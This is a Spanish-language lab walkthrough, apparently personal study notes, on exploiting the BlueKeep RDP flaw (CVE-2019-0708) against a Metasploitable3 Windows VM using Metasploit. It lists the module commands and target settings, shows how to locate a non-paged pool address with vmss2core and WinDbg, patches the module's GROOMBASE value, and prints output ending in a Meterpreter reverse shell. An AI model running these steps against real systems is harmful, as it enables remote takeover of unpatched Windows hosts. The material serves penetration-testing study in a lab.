Metasploit (explotación avanzada)

En el reporte que sacamos con Nessus encontramos una vulnerabilidad en la maquina victima Windows que se llama BlueKeep es una vulnerabilidad muy critica que salio en 2019 la cual permitia ejecutar codigo de forma remota sin credenciales, si tenias el RDP instalado, ya que este programa era muy comun en los equipos de Windows y por eso fue una de las vulnerabilidades mas grandes que ha habido.

Metiendonos en metasploit su consola, buscaremos por dicha vulnerabilidad:

search bluekeep

Info:

Matching Modules
================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  auxiliary/scanner/rdp/cve_2019_0708_bluekeep    2019-05-14       normal  Yes    CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
   1  exploit/windows/rdp/cve_2019_0708_bluekeep_rce  2019-05-14       manual  Yes    CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Y nos encontrara un auxiliar y un exploit.

El auxiliar nos servira para escanear la maquina victima y verificar si es vulnerable a dicho exploit, pero en este caso como ya lo sabemos, iremos directos al exploit, pero antes de entrar vemos en la parte de Rank que esta como Manual cuando en otros aparecia como Excellent, esto significa que es mas complicado de utilizar ya que a lo mejor para que el exploit funcione correctamente tendremos que hacerle algunos cambios nosotros a nivel de codigo fuente o demas cosas.

Por lo que vamos a seleccionarlo:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

En este caso nos viene un payload preconfigurado, en este caso es un meterpreter que es una shell mucho mas avanzada dondo nos permitira hacer bastantes cosas a nivel de terminal.

Establecemos la IP de la maquina victima Windows:

set RHOSTS 192.168.16.132

Establecemos nuestra IP para la shell:

set LHOST 192.168.16.128

Ahora tendremos que establecer el target para que no lo haga de forma automatica, ya que podria dar fallo:

show targets

Info:

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic targeting via fingerprinting
    1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
    2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
    3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
    4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
    5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
    6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
    7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)
    8   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - QEMU/KVM)

En este caso estan estos, por lo que nosotros elegiremos el numero 5 el llamado Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1) ya que es el mas cercano a donde estamos realizando el ataque, por que yo estoy en VMware 17 Pro por lo que elegiremos el mas cercano que en este caso seria el VMware 15.1, para los de Virtual Box seria el numero 2 y para los que esten en un host de un hypervisor de tipo 1 seria el numero 1.

set target 5

Pero antes de lanzar el exploit si ponemos info nos mostrara la descripcion del exploit en la que nos dice en una parte que es necesario que una cierta clave de registro este en 0 en la maquina windows por lo que nos iremos a la maquina windows para dejarlo en 0, esto se podria hacer aprovechando otra vulnerabilidad y cambiandolo desde terminal, pero para hacerlo mas sencillo lo haremos de esta forma.

En la maquina windows pulsaremos Windows + R y escribiremos regedit + ENTER, esto nos llevara a una ventana del editor de regsitros.

KEY_LOCAL_MACHINE -> SYSTEM -> CurrentControlSet -> Control -> Terminal Server -> WinStations -> RDP-Tcp

Dentro de este fichero cambiamos el archivo de fDisableCam dandole doble click y lo establecemos en 0 -> Ok -> y con esto ya estaria modificado la clave de registro que teniamos que poner en 0.

Y ahora volviendo a kali intentaremos explotar la maquina poniendo exploit.

[*] Started reverse TCP handler on 192.168.16.128:4444 
[*] 192.168.16.132:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.16.132:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.16.132:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.16.132:3389   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.16.132:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.16.132:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1.
[!] 192.168.16.132:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.16.132:3389 - Surfing channels ...
[*] 192.168.16.132:3389 - Lobbing eggs ...
[*] 192.168.16.132:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.16.132:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Exploit completed, but no session was created.

Por lo que vemos nos dice que si ha funcionado el exploit, pero que ha tenido que haber algun tipo de problema por que no nos ha proporcionado la shell.

Esto pasa por que como bien hemos visto antes, es un exploit manual, por lo que va a requerir de un cambio de forma manual en el codigo o en alguna parte para que esto funcione, si lo volvieramos a ejecutar la maquina windows daria un error como una denegacion de servicio poniendo que se intento hacer una paginacion, por lo que tendremos que cambiar una cosa del codigo para que cuando injecte la shell la injecte en un sitio donde no pagine esta memoria y asi no de un error y podamos obtener una shell.

Por lo que nos iremos a una terminal nueva de kali para abrir el codigo y hacerle unas pequeñas modificaciones.

cd /usr/share/metasploit-framework/modules/exploits/windows/rdp

Y abrimos el exploit con el nano:

nano cve_2019_0708_bluekeep_rce.rb

#Dentro del nano

[
            # This address works on VMWare 15.1
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018c08000
            }
],

En muchas ocasiones nos comenta este exploit que en la direccion de memoria donde esta depositando la shell y esta realizando la paginacion no es la que coincide con nuestra maquina atacante, por lo que nosotros tendremos que cambiar de forma manual esta direccion de memoria para que pueda hacer la paginacion de forma buna y asi nos proporcione la shell sin ningun tipo de error.

Nos iremos a esta parte del codigo y comentaremos esa linea de 'GROOMBASE' => 0xfffffa8018c08000, debajo pondremos lo mismo pero cambiando la direccion de memoria a la adecuada y como podremos saber cual es la direccion de memoria adecuada?, podremos hacerlo de la siguiente forma:

Lo que vamos hacer es suspender la maquina victima windows.

Nos descargaremos en nuestra maquina host en mi caso de windows una herramienta llamada vmss2core:

URL = Download ZIP

Despues vamos a utilizar un debugger como estoy en windows sera la herramienta windbg.

(En linux por ejemplo se podria utilizar el famoso gdb)

URL = Download WinDbg

Una vez que este instalada, le daremos a iniciar y tendremos que ver algo asi:

![[Pasted image 20241114113633.png]]

Pero este debugger necesitara algun fichero de memoria en la que poder buscar, por lo que tendremos coger todas las direcciones de memoria que tiene esa maquina virtual, volcarlas a un fichero y con WinDbg lo que vamos hacer es buscar de todas esas direcciones donde se encuentra la direccion donde comienza la memoria que no pagina.

Nos iremos a la carpeta donde esta nuestra maquina metasploitable-Windows -> crearemos un directorio en el escritorio de nuestro host llamado por ejemplo win2008 -> seleccionaremos 2 archivos llamados metasploitable3-win2k8-81b477c7.vmss y metasploitable3-win2k8-81b477c7.vmem, los copiaremos y los pegaremos en la carpeta que creamos llamada win2008 -> abrimos un cmd de nuestro windows host y nos vamos donde estan estos 2 archivos en la carpeta win2008.

Ahora vamos a utilizar la herramienta vmss2core que nos descargamos, por lo que pondremos lo siguiente:

Copiamos la ruta de la carpeta donde se encuentra lo que descargamos (vmss2core)

"C:\Users\user\Desktop\vmss2core\vmss2core\vmss2core.exe" -W metasploitable3-win2k8-81b477c7.vmss metasploitable3-win2k8-81b477c7.vmem

Esto lo que va hacer es un volcado de memoria a un fichero, por lo que una vez que se complete, veremos que se creo un fichero llamado memory.dmp

Por lo que le daremos doble click al dichero de memoria y se nos abrira con la aplicacion windbg automaticamente, viendo algo asi:

![[Pasted image 20241114114806.png]]

Donde pone 0: kd> pondremos el siguiente comando:

!poolfind 0

Lo que va hacer esto es buscar esa parte de la memoria que no pagina y veremos lo siguiente:

![[Pasted image 20241114114945.png]]

Por lo que vemos la hemos encontrado, en mi caso elegire la primera direccion de memoria que nos da, para insertarla en el codigo (fffffa80042d7000).

Y tendria que quedar algo tal que asi el nano:

[
            # This address works on VMWare 15.1
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              # 'GROOMBASE' => 0xfffffa8018c08000
              'GROOMBASE' => 0xfffffa80042d7000  
            }
],

Por lo que cerramos y guardamos.

Y con esto ya tendriamos modificado este exploit de manera manual y listo para lanzar.

Pero antes tendremos que recargar metasploit por lo que nos salimos de metasploit y volvemos a entrar.

msfconsole -q

Volvemos a configurar todo de nuevo otra vez, estableciendo la IP del atacante, la de destino, los targets, etc...

Pero antes de iniciarlo, estableceremos el groomsize a 50:

set groomsize 50

Una vez que este todo establecido, le daremos a exploit:

[*] Started reverse TCP handler on 192.168.16.128:4444 
[*] 192.168.16.132:3389 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.16.132:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.16.132:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.16.132:3389   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.16.132:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.16.132:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa80074d7000, Channel count 1.
[!] 192.168.16.132:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.16.132:3389 - Surfing channels ...
[*] 192.168.16.132:3389 - Lobbing eggs ...
[*] 192.168.16.132:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.16.132:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Sending stage (201798 bytes) to 192.168.16.132
[*] Meterpreter session 1 opened (192.168.16.128:4444 -> 192.168.16.132:49301) at 2024-11-14 06:00:40 -0500

meterpreter >

NOTA:

Hay a veces que esto es tan sensible que aun habiendo modificado todo puede ser que no nos salga a la primera, pero probando varias veces deberia de llegar a salir.

Last updated